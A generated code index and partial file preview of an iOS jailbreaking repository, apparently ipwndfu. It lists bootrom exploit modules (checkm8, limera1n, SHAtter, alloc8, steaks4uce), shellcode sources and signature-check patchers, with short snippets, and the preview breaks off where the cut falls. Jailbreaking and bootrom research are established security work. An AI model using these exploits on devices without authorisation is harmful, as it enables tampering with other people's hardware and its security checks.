method __init__ (line 112) | def __init__(self, version, cpid, exploit_lr, max_size, constants):
function create_control_transfer (line 126) | def create_control_transfer(device, request, timeout):
function limera1n_libusb1_async_ctrl_transfer (line 143) | def limera1n_libusb1_async_ctrl_transfer(device, bmRequestType, bRequest...
function generate_payload (line 158) | def generate_payload(constants, exploit_lr):
function exploit (line 173) | def exploit():
FILE: nor.py
class NorData (line 5) | class NorData():
method __init__ (line 6) | def __init__(self, dump):
method dump (line 32) | def dump(self):
FILE: recovery.py
function acquire_device (line 8) | def acquire_device(timeout=10):
function release_device (line 22) | def release_device(device):
function send_command (line 26) | def send_command(device, command):
function send_data (line 30) | def send_data(device, data):
FILE: rmsigchks.py
class DeviceConfig (line 12) | class DeviceConfig:
method __init__ (line 13) | def __init__(self, version, cpid, patches):
function all_exploit_configs (line 18) | def all_exploit_configs():
function exploit_config (line 47) | def exploit_config(serial_number):
function main (line 60) | def main():
FILE: rmsigchks_t8015.py
function makePTE_Page_16K (line 25) | def makePTE_Page_16K(addr):
function makePTE_Table_16K (line 34) | def makePTE_Table_16K(addr):
function main (line 41) | def main():
FILE: steaks4uce.py
class DeviceConfig (line 65) | class DeviceConfig:
method __init__ (line 66) | def __init__(self, version, constants):
function generate_shellcode (line 99) | def generate_shellcode(constants):
function exploit (line 112) | def exploit():
FILE: usb/__init__.py
function _setup_log (line 54) | def _setup_log():
FILE: usb/_debug.py
function enable_tracing (line 38) | def enable_tracing(enable):
function _trace_function_call (line 42) | def _trace_function_call(logger, fname, *args, **named_args):
function methodtrace (line 51) | def methodtrace(logger):
function functiontrace (line 66) | def functiontrace(logger):
FILE: usb/_interop.py
function _next (line 64) | def _next(iter):
function _update_wrapper (line 75) | def _update_wrapper(wrapper, wrapped):
function as_array (line 84) | def as_array(data=None):
FILE: usb/_objfinalizer.py
class _AutoFinalizedObjectBase (line 36) | class _AutoFinalizedObjectBase(object):
method _finalize_object (line 42) | def _finalize_object(self):
method __new__ (line 51) | def __new__(cls, *args, **kwargs):
method _do_finalize_object (line 64) | def _do_finalize_object(self):
method finalize (line 73) | def finalize(self):
method __del__ (line 83) | def __del__(self):
function _do_finalize_object_ref (line 91) | def _do_finalize_object_ref(obj_ref):
class AutoFinalizedObject (line 107) | class AutoFinalizedObject(_AutoFinalizedObjectBase):
method __new__ (line 109) | def __new__(cls, *args, **kwargs):
method finalize (line 142) | def finalize(self):
method finalize (line 153) | def finalize(self):
class AutoFinalizedObject (line 151) | class AutoFinalizedObject(_AutoFinalizedObjectBase):
method __new__ (line 109) | def __new__(cls, *args, **kwargs):
method finalize (line 142) | def finalize(self):
method finalize (line 153) | def finalize(self):
FILE: usb/backend/__init__.py
function _not_implemented (line 80) | def _not_implemented(func):
class IBackend (line 83) | class IBackend(_objfinalizer.AutoFinalizedObject):
method enumerate_devices (line 97) | def enumerate_devices(self):
method get_device_descriptor (line 107) | def get_device_descriptor(self, dev):
method get_configuration_descriptor (line 119) | def get_configuration_descriptor(self, dev, config):
method get_interface_descriptor (line 133) | def get_interface_descriptor(self, dev, intf, alt, config):
method get_endpoint_descriptor (line 149) | def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
method open_device (line 162) | def open_device(self, dev):
method close_device (line 174) | def close_device(self, dev_handle):
method set_configuration (line 182) | def set_configuration(self, dev_handle, config_value):
method get_configuration (line 192) | def get_configuration(self, dev_handle):
method set_interface_altsetting (line 203) | def set_interface_altsetting(self, dev_handle, intf, altsetting):
method claim_interface (line 213) | def claim_interface(self, dev_handle, intf):
method release_interface (line 226) | def release_interface(self, dev_handle, intf):
method bulk_write (line 234) | def bulk_write(self, dev_handle, ep, intf, data, timeout):
method bulk_read (line 249) | def bulk_read(self, dev_handle, ep, intf, buff, timeout):
method intr_write (line 264) | def intr_write(self, dev_handle, ep, intf, data, timeout):
method intr_read (line 279) | def intr_read(self, dev_handle, ep, intf, size, timeout):
method iso_write (line 294) | def iso_write(self, dev_handle, ep, intf, data, timeout):
method iso_read (line 309) | def iso_read(self, dev_handle, ep, intf, size, timeout):
method ctrl_transfer (line 324) | def ctrl_transfer(self,
method clear_halt (line 351) | def clear_halt(self, dev_handle, ep):
method reset_device (line 355) | def reset_device(self, dev_handle):
method is_kernel_driver_active (line 359) | def is_kernel_driver_active(self, dev_handle, intf):
method detach_kernel_driver (line 367) | def detach_kernel_driver(self, dev_handle, intf):
method attach_kernel_driver (line 375) | def attach_kernel_driver(self, dev_handle, intf):
FILE: usb/backend/libusb0.py
class _PackPolicy (line 60) | class _PackPolicy(object):
class _usb_descriptor_header (line 68) | class _usb_descriptor_header(Structure):
class _usb_string_descriptor (line 73) | class _usb_string_descriptor(Structure):
class _usb_endpoint_descriptor (line 79) | class _usb_endpoint_descriptor(Structure, _PackPolicy):
class _usb_interface_descriptor (line 91) | class _usb_interface_descriptor(Structure, _PackPolicy):
class _usb_interface (line 105) | class _usb_interface(Structure, _PackPolicy):
class _usb_config_descriptor (line 109) | class _usb_config_descriptor(Structure, _PackPolicy):
class _usb_device_descriptor (line 122) | class _usb_device_descriptor(Structure, _PackPolicy):
class _usb_device (line 139) | class _usb_device(Structure, _PackPolicy):
class _usb_bus (line 142) | class _usb_bus(Structure, _PackPolicy):
class _DeviceDescriptor (line 165) | class _DeviceDescriptor:
method __init__ (line 166) | def __init__(self, dev):
function _load_library (line 191) | def _load_library(find_library=None):
function _setup_prototypes (line 198) | def _setup_prototypes(lib):
function _check (line 414) | def _check(ret):
function _has_iso_transfer (line 433) | def _has_iso_transfer():
class _LibUSB (line 437) | class _LibUSB(usb.backend.IBackend):
method enumerate_devices (line 439) | def enumerate_devices(self):
method get_device_descriptor (line 451) | def get_device_descriptor(self, dev):
method get_configuration_descriptor (line 455) | def get_configuration_descriptor(self, dev, config):
method get_interface_descriptor (line 463) | def get_interface_descriptor(self, dev, intf, alt, config):
method get_endpoint_descriptor (line 475) | def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
method open_device (line 484) | def open_device(self, dev):
method close_device (line 488) | def close_device(self, dev_handle):
method set_configuration (line 492) | def set_configuration(self, dev_handle, config_value):
method get_configuration (line 496) | def get_configuration(self, dev_handle):
method set_interface_altsetting (line 516) | def set_interface_altsetting(self, dev_handle, intf, altsetting):
method claim_interface (line 520) | def claim_interface(self, dev_handle, intf):
method release_interface (line 524) | def release_interface(self, dev_handle, intf):
method bulk_write (line 528) | def bulk_write(self, dev_handle, ep, intf, data, timeout):
method bulk_read (line 536) | def bulk_read(self, dev_handle, ep, intf, buff, timeout):
method intr_write (line 545) | def intr_write(self, dev_handle, ep, intf, data, timeout):
method intr_read (line 554) | def intr_read(self, dev_handle, ep, intf, buff, timeout):
method iso_write (line 563) | def iso_write(self, dev_handle, ep, intf, data, timeout):
method iso_read (line 569) | def iso_read(self, dev_handle, ep, intf, buff, timeout):
method ctrl_transfer (line 575) | def ctrl_transfer(self,
method clear_halt (line 597) | def clear_halt(self, dev_handle, ep):
method reset_device (line 601) | def reset_device(self, dev_handle):
method detach_kernel_driver (line 605) | def detach_kernel_driver(self, dev_handle, intf):
method __write (line 608) | def __write(self, fn, dev_handle, ep, intf, data, timeout):
method __read (line 619) | def __read(self, fn, dev_handle, ep, intf, buff, timeout):
method __iso_transfer (line 631) | def __iso_transfer(self, dev_handle, ep, intf, data, timeout):
function get_backend (line 664) | def get_backend(find_library=None):
FILE: usb/backend/libusb1.py
function _strerror (line 170) | def _strerror(errcode):
class _libusb_endpoint_descriptor (line 178) | class _libusb_endpoint_descriptor(Structure):
class _libusb_interface_descriptor (line 190) | class _libusb_interface_descriptor(Structure):
class _libusb_interface (line 204) | class _libusb_interface(Structure):
class _libusb_config_descriptor (line 208) | class _libusb_config_descriptor(Structure):
class _libusb_device_descriptor (line 221) | class _libusb_device_descriptor(Structure):
class _libusb_iso_packet_descriptor (line 239) | class _libusb_iso_packet_descriptor(Structure):
class _libusb_transfer (line 246) | class _libusb_transfer(Structure):
function _get_iso_packet_list (line 267) | def _get_iso_packet_list(transfer):
function _load_library (line 273) | def _load_library(find_library=None):
function _setup_prototypes (line 290) | def _setup_prototypes(lib):
function _check (line 587) | def _check(ret):
class _Device (line 600) | class _Device(_objfinalizer.AutoFinalizedObject):
method __init__ (line 601) | def __init__(self, devid):
method _finalize_object (line 603) | def _finalize_object(self):
class _WrapDescriptor (line 608) | class _WrapDescriptor(object):
method __init__ (line 609) | def __init__(self, desc, obj = None):
method __getattr__ (line 612) | def __getattr__(self, name):
class _ConfigDescriptor (line 616) | class _ConfigDescriptor(_objfinalizer.AutoFinalizedObject):
method __init__ (line 617) | def __init__(self, desc):
method _finalize_object (line 619) | def _finalize_object(self):
method __getattr__ (line 621) | def __getattr__(self, name):
class _DevIterator (line 626) | class _DevIterator(_objfinalizer.AutoFinalizedObject):
method __init__ (line 627) | def __init__(self, ctx):
method __iter__ (line 633) | def __iter__(self):
method _finalize_object (line 636) | def _finalize_object(self):
class _DeviceHandle (line 639) | class _DeviceHandle(object):
method __init__ (line 640) | def __init__(self, dev):
class _IsoTransferHandler (line 645) | class _IsoTransferHandler(_objfinalizer.AutoFinalizedObject):
method __init__ (line 646) | def __init__(self, dev_handle, ep, buff, timeout):
method _finalize_object (line 666) | def _finalize_object(self):
method submit (line 669) | def submit(self, ctx = None):
method __compute_size_transf_data (line 684) | def __compute_size_transf_data(self):
method __set_packets_length (line 688) | def __set_packets_length(self, n, packet_length):
method __callback (line 698) | def __callback(self, transfer):
class _LibUSB (line 702) | class _LibUSB(usb.backend.IBackend):
method __init__ (line 704) | def __init__(self, lib):
method _finalize_object (line 711) | def _finalize_object(self):
method enumerate_devices (line 716) | def enumerate_devices(self):
method get_device_descriptor (line 720) | def get_device_descriptor(self, dev):
method get_configuration_descriptor (line 753) | def get_configuration_descriptor(self, dev, config):
method get_interface_descriptor (line 764) | def get_interface_descriptor(self, dev, intf, alt, config):
method get_endpoint_descriptor (line 776) | def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
method open_device (line 785) | def open_device(self, dev):
method close_device (line 789) | def close_device(self, dev_handle):
method set_configuration (line 793) | def set_configuration(self, dev_handle, config_value):
method get_configuration (line 797) | def get_configuration(self, dev_handle):
method set_interface_altsetting (line 803) | def set_interface_altsetting(self, dev_handle, intf, altsetting):
method claim_interface (line 810) | def claim_interface(self, dev_handle, intf):
method release_interface (line 814) | def release_interface(self, dev_handle, intf):
method bulk_write (line 818) | def bulk_write(self, dev_handle, ep, intf, data, timeout):
method bulk_read (line 827) | def bulk_read(self, dev_handle, ep, intf, buff, timeout):
method intr_write (line 836) | def intr_write(self, dev_handle, ep, intf, data, timeout):
method intr_read (line 845) | def intr_read(self, dev_handle, ep, intf, buff, timeout):
method iso_write (line 854) | def iso_write(self, dev_handle, ep, intf, data, timeout):
method iso_read (line 859) | def iso_read(self, dev_handle, ep, intf, buff, timeout):
method ctrl_transfer (line 864) | def ctrl_transfer(self,
method clear_halt (line 888) | def clear_halt(self, dev_handle, ep):
method reset_device (line 892) | def reset_device(self, dev_handle):
method is_kernel_driver_active (line 896) | def is_kernel_driver_active(self, dev_handle, intf):
method detach_kernel_driver (line 901) | def detach_kernel_driver(self, dev_handle, intf):
method attach_kernel_driver (line 905) | def attach_kernel_driver(self, dev_handle, intf):
method __write (line 908) | def __write(self, fn, dev_handle, ep, intf, data, timeout):
method __read (line 924) | def __read(self, fn, dev_handle, ep, intf, buff, timeout):
function get_backend (line 939) | def get_backend(find_library=None):
FILE: usb/backend/openusb.py
class _usb_endpoint_desc (line 147) | class _usb_endpoint_desc(Structure):
class _usb_interface_desc (line 157) | class _usb_interface_desc(Structure):
class _usb_config_desc (line 168) | class _usb_config_desc(Structure):
class _usb_device_desc (line 178) | class _usb_device_desc(Structure):
class _openusb_request_result (line 194) | class _openusb_request_result(Structure):
class _openusb_ctrl_request (line 198) | class _openusb_ctrl_request(Structure):
method __init__ (line 199) | def __init__(self):
class _openusb_ctrl_setup (line 213) | class _openusb_ctrl_setup(Structure):
class _openusb_intr_request (line 226) | class _openusb_intr_request(Structure):
class _openusb_bulk_request (line 235) | class _openusb_bulk_request(Structure):
class _openusb_isoc_pkts (line 243) | class _openusb_isoc_pkts(Structure):
class _openusb_isoc_packet (line 244) | class _openusb_isoc_packet(Structure):
class _openusb_isoc_request (line 250) | class _openusb_isoc_request(Structure):
function _load_library (line 266) | def _load_library(find_library=None):
function _setup_prototypes (line 274) | def _setup_prototypes(lib):
function _check (line 502) | def _check(ret):
class _Context (line 510) | class _Context(_objfinalizer.AutoFinalizedObject):
method __init__ (line 511) | def __init__(self):
method _finalize_object (line 514) | def _finalize_object(self):
class _BusIterator (line 517) | class _BusIterator(_objfinalizer.AutoFinalizedObject):
method __init__ (line 518) | def __init__(self):
method __iter__ (line 525) | def __iter__(self):
method _finalize_object (line 528) | def _finalize_object(self):
class _DevIterator (line 531) | class _DevIterator(_objfinalizer.AutoFinalizedObject):
method __init__ (line 532) | def __init__(self, busid):
method __iter__ (line 540) | def __iter__(self):
method _finalize_object (line 543) | def _finalize_object(self):
class _OpenUSB (line 546) | class _OpenUSB(usb.backend.IBackend):
method enumerate_devices (line 548) | def enumerate_devices(self):
method get_device_descriptor (line 554) | def get_device_descriptor(self, dev):
method get_configuration_descriptor (line 569) | def get_configuration_descriptor(self, dev, config):
method get_interface_descriptor (line 581) | def get_interface_descriptor(self, dev, intf, alt, config):
method get_endpoint_descriptor (line 595) | def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
method open_device (line 610) | def open_device(self, dev):
method close_device (line 616) | def close_device(self, dev_handle):
method set_configuration (line 620) | def set_configuration(self, dev_handle, config_value):
method get_configuration (line 624) | def get_configuration(self, dev_handle):
method set_interface_altsetting (line 630) | def set_interface_altsetting(self, dev_handle, intf, altsetting):
method claim_interface (line 634) | def claim_interface(self, dev_handle, intf):
method release_interface (line 638) | def release_interface(self, dev_handle, intf):
method bulk_write (line 642) | def bulk_write(self, dev_handle, ep, intf, data, timeout):
method bulk_read (line 652) | def bulk_read(self, dev_handle, ep, intf, buff, timeout):
method intr_write (line 662) | def intr_write(self, dev_handle, ep, intf, data, timeout):
method intr_read (line 672) | def intr_read(self, dev_handle, ep, intf, buff, timeout):
method ctrl_transfer (line 691) | def ctrl_transfer(self,
method reset_device (line 717) | def reset_device(self, dev_handle):
method clear_halt (line 721) | def clear_halt(self, dev_handle, ep):
function get_backend (line 735) | def get_backend(find_library=None):
FILE: usb/control.py
function _parse_recipient (line 65) | def _parse_recipient(recipient, direction):
function get_status (line 92) | def get_status(dev, recipient = None):
function clear_feature (line 111) | def clear_feature(dev, feature, recipient = None):
function set_feature (line 131) | def set_feature(dev, feature, recipient = None):
function get_descriptor (line 148) | def get_descriptor(dev, desc_size, desc_type, desc_index, wIndex = 0):
function set_descriptor (line 175) | def set_descriptor(dev, desc, desc_type, desc_index, wIndex = None):
function get_configuration (line 201) | def get_configuration(dev):
function set_configuration (line 221) | def set_configuration(dev, bConfigurationNumber):
function get_interface (line 229) | def get_interface(dev, bInterfaceNumber):
function set_interface (line 246) | def set_interface(dev, bInterfaceNumber, bAlternateSetting):
FILE: usb/core.py
function _set_attr (line 61) | def _set_attr(input, output, fields):
function _try_get_string (line 65) | def _try_get_string(dev, index, langid = None, default_str_i0 = "",
function _try_lookup (line 81) | def _try_lookup(table, value, default = ""):
class _DescriptorInfo (line 91) | class _DescriptorInfo(str):
method __repr__ (line 94) | def __repr__(self):
function synchronized (line 97) | def synchronized(f):
class _ResourceManager (line 107) | class _ResourceManager(object):
method __init__ (line 108) | def __init__(self, dev, backend):
method managed_open (line 118) | def managed_open(self):
method managed_close (line 124) | def managed_close(self):
method managed_set_configuration (line 130) | def managed_set_configuration(self, device, config):
method managed_claim_interface (line 158) | def managed_claim_interface(self, device, intf):
method managed_release_interface (line 171) | def managed_release_interface(self, device, intf):
method managed_set_interface (line 187) | def managed_set_interface(self, device, intf, alt):
method setup_request (line 207) | def setup_request(self, device, endpoint):
method get_interface_and_endpoint (line 221) | def get_interface_and_endpoint(self, device, endpoint_address):
method get_active_configuration (line 234) | def get_active_configuration(self, device):
method release_all_interfaces (line 248) | def release_all_interfaces(self, device):
method dispose (line 259) | def dispose(self, device, close_handle = True):
class USBError (line 267) | class USBError(IOError):
method __init__ (line 275) | def __init__(self, strerror, error_code = None, errno = None):
class NoBackendError (line 286) | class NoBackendError(ValueError):
class Endpoint (line 290) | class Endpoint(object):
method __init__ (line 305) | def __init__(self, device, endpoint, interface = 0,
method __repr__ (line 350) | def __repr__(self):
method __str__ (line 353) | def __str__(self):
method write (line 376) | def write(self, data, timeout = None):
method read (line 389) | def read(self, size_or_buffer, timeout = None):
method clear_halt (line 404) | def clear_halt(self):
method _str (line 408) | def _str(self):
class Interface (line 419) | class Interface(object):
method __init__ (line 434) | def __init__(self, device, interface = 0,
method __repr__ (line 480) | def __repr__(self):
method __str__ (line 483) | def __str__(self):
method endpoints (line 491) | def endpoints(self):
method set_altsetting (line 495) | def set_altsetting(self):
method __iter__ (line 501) | def __iter__(self):
method __getitem__ (line 511) | def __getitem__(self, index):
method _str (line 520) | def _str(self):
method _get_full_descriptor_str (line 530) | def _get_full_descriptor_str(self):
class Configuration (line 556) | class Configuration(object):
method __init__ (line 570) | def __init__(self, device, configuration = 0):
method __repr__ (line 605) | def __repr__(self):
method __str__ (line 608) | def __str__(self):
method interfaces (line 614) | def interfaces(self):
method set (line 618) | def set(self):
method __iter__ (line 622) | def __iter__(self):
method __getitem__ (line 633) | def __getitem__(self, index):
method _str (line 644) | def _str(self):
method _get_full_descriptor_str (line 649) | def _get_full_descriptor_str(self):
class Device (line 685) | class Device(_objfinalizer.AutoFinalizedObject):
method __repr__ (line 721) | def __repr__(self):
method __str__ (line 724) | def __str__(self):
method configurations (line 737) | def configurations(self):
method __init__ (line 741) | def __init__(self, dev, backend):
method langids (line 804) | def langids(self):
method serial_number (line 823) | def serial_number(self):
method product (line 834) | def product(self):
method manufacturer (line 845) | def manufacturer(self):
method backend (line 856) | def backend(self):
method set_configuration (line 860) | def set_configuration(self, configuration = None):
method get_active_configuration (line 871) | def get_active_configuration(self):
method set_interface_altsetting (line 877) | def set_interface_altsetting(self, interface = None, alternate_setting...
method clear_halt (line 904) | def clear_halt(self, ep):
method reset (line 911) | def reset(self):
method write (line 918) | def write(self, endpoint, data, timeout = None):
method read (line 951) | def read(self, endpoint, size_or_buffer, timeout = None):
method ctrl_transfer (line 997) | def ctrl_transfer(self, bmRequestType, bRequest, wValue=0, wIndex=0,
method is_kernel_driver_active (line 1053) | def is_kernel_driver_active(self, interface):
method detach_kernel_driver (line 1066) | def detach_kernel_driver(self, interface):
method attach_kernel_driver (line 1079) | def attach_kernel_driver(self, interface):
method __iter__ (line 1091) | def __iter__(self):
method __getitem__ (line 1096) | def __getitem__(self, index):
method _finalize_object (line 1100) | def _finalize_object(self):
method __get_timeout (line 1103) | def __get_timeout(self, timeout):
method __set_def_tmo (line 1108) | def __set_def_tmo(self, tmo):
method __get_def_tmo (line 1113) | def __get_def_tmo(self):
method _str (line 1116) | def _str(self):
method _get_full_descriptor_str (line 1120) | def _get_full_descriptor_str(self):
function find (line 1177) | def find(find_all=False, backend = None, custom_match = None, **args):
function show_devices (line 1273) | def show_devices(verbose=False, **kwargs):
FILE: usb/legacy.py
class Endpoint (line 98) | class Endpoint(object):
method __init__ (line 100) | def __init__(self, ep):
class Interface (line 106) | class Interface(object):
method __init__ (line 108) | def __init__(self, intf):
class Configuration (line 117) | class Configuration(object):
method __init__ (line 119) | def __init__(self, cfg):
class DeviceHandle (line 135) | class DeviceHandle(_objfinalizer.AutoFinalizedObject):
method __init__ (line 136) | def __init__(self, dev):
method _finalize_object (line 140) | def _finalize_object(self):
method bulkWrite (line 144) | def bulkWrite(self, endpoint, buffer, timeout = 100):
method bulkRead (line 156) | def bulkRead(self, endpoint, size, timeout = 100):
method interruptWrite (line 167) | def interruptWrite(self, endpoint, buffer, timeout = 100):
method interruptRead (line 179) | def interruptRead(self, endpoint, size, timeout = 100):
method controlMsg (line 190) | def controlMsg(self, requestType, request, buffer, value = 0, index = ...
method clearHalt (line 213) | def clearHalt(self, endpoint):
method claimInterface (line 221) | def claimInterface(self, interface):
method releaseInterface (line 233) | def releaseInterface(self):
method reset (line 238) | def reset(self):
method resetEndpoint (line 243) | def resetEndpoint(self, endpoint):
method setConfiguration (line 251) | def setConfiguration(self, configuration):
method setAltInterface (line 262) | def setAltInterface(self, alternate):
method getString (line 273) | def getString(self, index, length, langid = None):
method getDescriptor (line 285) | def getDescriptor(self, desc_type, desc_index, length, endpoint = -1):
method detachKernelDriver (line 297) | def detachKernelDriver(self, interface):
class Device (line 309) | class Device(object):
method __init__ (line 311) | def __init__(self, dev):
method open (line 336) | def open(self):
class Bus (line 343) | class Bus(object):
method __init__ (line 345) | def __init__(self, devices):
function busses (line 350) | def busses():
FILE: usb/libloader.py
class LibraryException (line 51) | class LibraryException(OSError):
class LibraryNotFoundException (line 54) | class LibraryNotFoundException(LibraryException):
class NoLibraryCandidatesException (line 57) | class NoLibraryCandidatesException(LibraryNotFoundException):
class LibraryNotLoadedException (line 60) | class LibraryNotLoadedException(LibraryException):
class LibraryMissingSymbolsException (line 63) | class LibraryMissingSymbolsException(LibraryException):
function locate_library (line 67) | def locate_library (candidates, find_library=ctypes.util.find_library):
function load_library (line 101) | def load_library(lib, name=None, lib_cls=None):
function load_locate_library (line 130) | def load_locate_library(candidates, cygwin_lib, name,
FILE: usb/util.py
function endpoint_address (line 101) | def endpoint_address(address):
function endpoint_direction (line 109) | def endpoint_direction(address):
function endpoint_type (line 118) | def endpoint_type(bmAttributes):
function ctrl_direction (line 128) | def ctrl_direction(bmRequestType):
function build_request_type (line 137) | def build_request_type(direction, type, recipient):
function create_buffer (line 153) | def create_buffer(length):
function find_descriptor (line 164) | def find_descriptor(desc, find_all=False, custom_match=None, **args):
function claim_interface (line 194) | def claim_interface(device, interface):
function release_interface (line 207) | def release_interface(device, interface):
function dispose_resources (line 219) | def dispose_resources(device):
function get_langids (line 235) | def get_langids(dev):
function get_string (line 285) | def get_string(dev, index, langid = None):
FILE: usbexec.py
class ExecConfig (line 4) | class ExecConfig:
method __init__ (line 5) | def __init__(self, info, aes_crypto_cmd):
method match (line 9) | def match(self, info):
class PwnedUSBDevice (line 36) | class PwnedUSBDevice():
method memset (line 37) | def memset(self, address, c, length): self.command(self.cmd_m...
method memcpy (line 38) | def memcpy(self, dest, src, length): self.command(self.cmd_m...
method read_memory_ptr (line 39) | def read_memory_ptr(self, address): return struct.unpack('<...
method read_memory_uint8 (line 40) | def read_memory_uint8(self, address): return struct.unpack('<...
method read_memory_uint16 (line 41) | def read_memory_uint16(self, address): return struct.unpack('<...
method read_memory_uint32 (line 42) | def read_memory_uint32(self, address): return struct.unpack('<...
method read_memory_uint64 (line 43) | def read_memory_uint64(self, address): return struct.unpack('<...
method write_memory (line 44) | def write_memory(self, address, data): self.command(self.cmd_m...
method write_memory_ptr (line 45) | def write_memory_ptr(self, address, value): self.write_memory(addre...
method write_memory_uint8 (line 46) | def write_memory_uint8(self, address, value): self.write_memory(addre...
method write_memory_uint16 (line 47) | def write_memory_uint16(self, address, value): self.write_memory(addre...
method write_memory_uint32 (line 48) | def write_memory_uint32(self, address, value): self.write_memory(addre...
method write_memory_uint64 (line 49) | def write_memory_uint64(self, address, value): self.write_memory(addre...
method cmd_arg_type (line 50) | def cmd_arg_type(self): return 'Q' if self.plat...
method cmd_arg_size (line 51) | def cmd_arg_size(self): return 8 if self.platfo...
method cmd_data_offset (line 52) | def cmd_data_offset(self, index): return 16 + index * sel...
method cmd_data_address (line 53) | def cmd_data_address(self, index): return self.load_base()...
method cmd_memcpy (line 54) | def cmd_memcpy(self, dest, src, length): return struct.pack('<8s...
method cmd_memset (line 55) | def cmd_memset(self, address, c, length): return struct.pack('<8s...
method load_base (line 57) | def load_base(self):
method image_base (line 63) | def image_base(self):
method usb_serial_number (line 69) | def usb_serial_number(self, key):
method aes (line 79) | def aes(self, data, action, key):
method read_memory (line 85) | def read_memory(self, address, length):
method command (line 94) | def command(self, request_data, response_length):
method execute (line 113) | def execute(self, response_length, *args):
method __init__ (line 130) | def __init__(self):
FILE: utilities.py
function apply_patches (line 3) | def apply_patches(binary, patches):
function aes_decrypt (line 8) | def aes_decrypt(data, iv, key):
function hex_dump (line 29) | def hex_dump(data, address):
Condensed preview — 55 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (443K chars).
[
{
"path": ".gitignore",
"chars": 87,
"preview": "*.pyc\nnor-backups/nor-*\nlibusbfinder/libusb-*\nSecureROM-*\nn88ap-iBSS-4.3.5.img3\n*.ipsw\n"
},
{
"path": "JAILBREAK-GUIDE.md",
"chars": 6054,
"preview": "# Jailbreak guide for iPhone 3GS (new bootrom)\n\n### Steps\n\n1. Backup your data. Everything will be removed from your pho"
},
{
"path": "LICENSE",
"chars": 35141,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "Makefile",
"chars": 2417,
"preview": "all: armv6 armv7 arm64\n\narmv6:\n\tarm-none-eabi-as -march=armv6 -mthumb --fatal-warnings -o bin/steaks4uce-shellcode.o src"
},
{
"path": "README.md",
"chars": 4773,
"preview": "\n# Open-source jailbreaking tool for many iOS devices\n\n\n**Read [disclaimer](#disclaimer) before usi"
},
{
"path": "SHAtter.py",
"chars": 2395,
"preview": "# Credit: This file is based on SHAtter exploit (segment overflow) by posixninja and pod2g.\n\nimport struct, sys, time\nim"
},
{
"path": "alloc8.py",
"chars": 4242,
"preview": "import copy, struct, sys\n\nalloc8_constants_359_3 = [\n 0x84034000, # 1 - MAIN_STACK_ADDRESS\n 0x544, # 2 - cl"
},
{
"path": "checkm8.py",
"chars": 24310,
"preview": "import array, ctypes, struct, sys, time\nimport usb\nimport dfu\n\n# Must be global so garbage collector never frees it\nrequ"
},
{
"path": "device_platform.py",
"chars": 5305,
"preview": "class DevicePlatform:\n def __init__(self, cpid, cprv, scep, arch, srtg, rom_base, rom_size, rom_sha1, sram_base, sram_s"
},
{
"path": "dfu.py",
"chars": 2391,
"preview": "import sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module\nimport usb.backend.libusb1\nimport li"
},
{
"path": "dfuexec.py",
"chars": 11604,
"preview": "import binascii, datetime, hashlib, struct, sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module"
},
{
"path": "ibootpatcher",
"chars": 4549,
"preview": "#!/usr/bin/python\n# ibootpatcher: patch assembly code in iBoot binaries\n# Author: axi0mX\n\nimport argparse, struct, sys\n\n"
},
{
"path": "image3.py",
"chars": 3818,
"preview": "import binascii, struct\nimport dfuexec, utilities\n\nclass Image3:\n def __init__(self, data):\n (self.magic, self"
},
{
"path": "image3_24Kpwn.py",
"chars": 2668,
"preview": "# Credit: This file is based on 24Kpwn exploit (segment overflow) by chronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g"
},
{
"path": "ipwndfu",
"chars": 16449,
"preview": "#!/usr/bin/python\n# ipwndfu: open-source jailbreaking tool for older iOS devices\n# Author: axi0mX\n\nimport binascii, date"
},
{
"path": "ipwnrecovery",
"chars": 2706,
"preview": "#!/usr/bin/python\n# ipwnrecovery: open-source jailbreaking tool for older iOS devices\n# Author: axi0mX\n\nimport getopt, s"
},
{
"path": "libusbfinder/__init__.py",
"chars": 4683,
"preview": "import hashlib, os, platform, cStringIO, tarfile\n\nclass VersionConfig:\n def __init__(self, version, bottle, bottle_sh"
},
{
"path": "limera1n.py",
"chars": 8591,
"preview": "# Credit: This file is based on limera1n exploit (heap overflow) by geohot.\n\nimport array, ctypes, struct, sys, time\nimp"
},
{
"path": "nor-backups/README",
"chars": 38,
"preview": "Your NOR backups will be stored here.\n"
},
{
"path": "nor.py",
"chars": 1425,
"preview": "import binascii, struct\n\nNOR_SIZE = 0x100000\n\nclass NorData():\n def __init__(self, dump):\n assert len(dump) =="
},
{
"path": "recovery.py",
"chars": 1325,
"preview": "import sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module\nimport usb.backend.libusb1\nimport li"
},
{
"path": "rmsigchks.py",
"chars": 3077,
"preview": "import dfu\nimport usbexec\nimport sys\nimport usb.core\n\nHOST2DEVICE = 0x21\nDEVICE2HOST = 0xA1\n\nDFU_DNLOAD = 1\nDFU_ABORT = "
},
{
"path": "rmsigchks_t8015.py",
"chars": 2823,
"preview": "import dfu\nimport usbexec\nimport sys\nimport usb.core\nimport struct\nimport binascii\n\nHOST2DEVICE = 0x21\nDEVICE2HOST = 0xA"
},
{
"path": "src/24Kpwn-shellcode.S",
"chars": 817,
"preview": "@ 24Kpwn-shellcode.S\n@ Author: axi0mX\n@ Shellcode for 24Kpwn exploit.\n\n.text\n\n.pool\n.set SHA1_DWORD_ADDRESS, "
},
{
"path": "src/SHAtter-shellcode.S",
"chars": 8278,
"preview": "@ SHAtter-shellcode.S\n@ Author: axi0mX\n@ Shellcode for SHAtter exploit with minor improvements:\n@ * supports 'exec' magi"
},
{
"path": "src/alloc8-shellcode.S",
"chars": 8764,
"preview": "@ alloc8-shellcode.S\n@ Author: axi0mX\n@ Shellcode for alloc8 exploit with minor improvements:\n@ * supports 'exec' magic "
},
{
"path": "src/checkm8_arm64.S",
"chars": 1871,
"preview": ".text\n\n.pool\n.set PAYLOAD_OFFSET, 0xBAD00006\n.set PAYLOAD_SIZE, 0xBAD00007\n.set PAYLOAD_DE"
},
{
"path": "src/checkm8_armv7.S",
"chars": 2237,
"preview": ".text\n\n.pool\n.set PAYLOAD_OFFSET, 0xBAD00006\n.set PAYLOAD_SIZE, 0xBAD00007\n.set PAYLOAD_DE"
},
{
